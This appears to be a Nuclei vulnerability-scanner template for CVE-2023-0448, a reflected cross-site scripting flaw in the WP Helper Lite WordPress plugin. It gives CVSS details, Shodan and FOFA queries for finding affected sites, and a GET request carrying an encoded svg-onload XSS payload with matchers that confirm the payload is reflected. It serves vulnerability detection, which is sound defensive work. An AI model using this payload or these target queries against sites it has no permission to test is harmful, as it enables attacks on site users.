id: CVE-2023-0448

info:
  name: WP Helper Lite < 4.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The WP Helper Lite WordPress plugin, in versions < 4.3, returns all GET parameters unsanitized in the response, resulting in a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 4.3 and above
  reference:
    - https://wpscan.com/vulnerability/1f24db34-f608-4463-b4ee-9bc237774256
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0448
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0448
    cwe-id: CWE-79
    epss-score: 0.44513
    epss-percentile: 0.98602
    cpe: cpe:2.3:a:matbao:wp_helper_premium:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: matbao
    product: wp_helper_premium
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-helper-lite
    fofa-query: body=/wp-content/plugins/wp-helper-lite
    publicwww-query: "/wp-content/plugins/wp-helper-lite"
  tags: cve,cve2023,wordpress,wp,wp-plugin,wpscan,xss,wp-helper-lite,matbao,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=surveySubmit&a=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "><svg onload=alert(document.domain)>")'
          - 'contains(body, "params\":{\"action")'
        condition: and
# digest: 4a0a00473045022100de85f1e88b62406ee9372e882160861057880571bed143faba7ee1e93c68e82902203e35ff1b6587d3f6e9a90e2bb3ff0988f2ae7e63e3d4d7f1ffce40f475923855:922c64590222798bb761d5b6d8e72950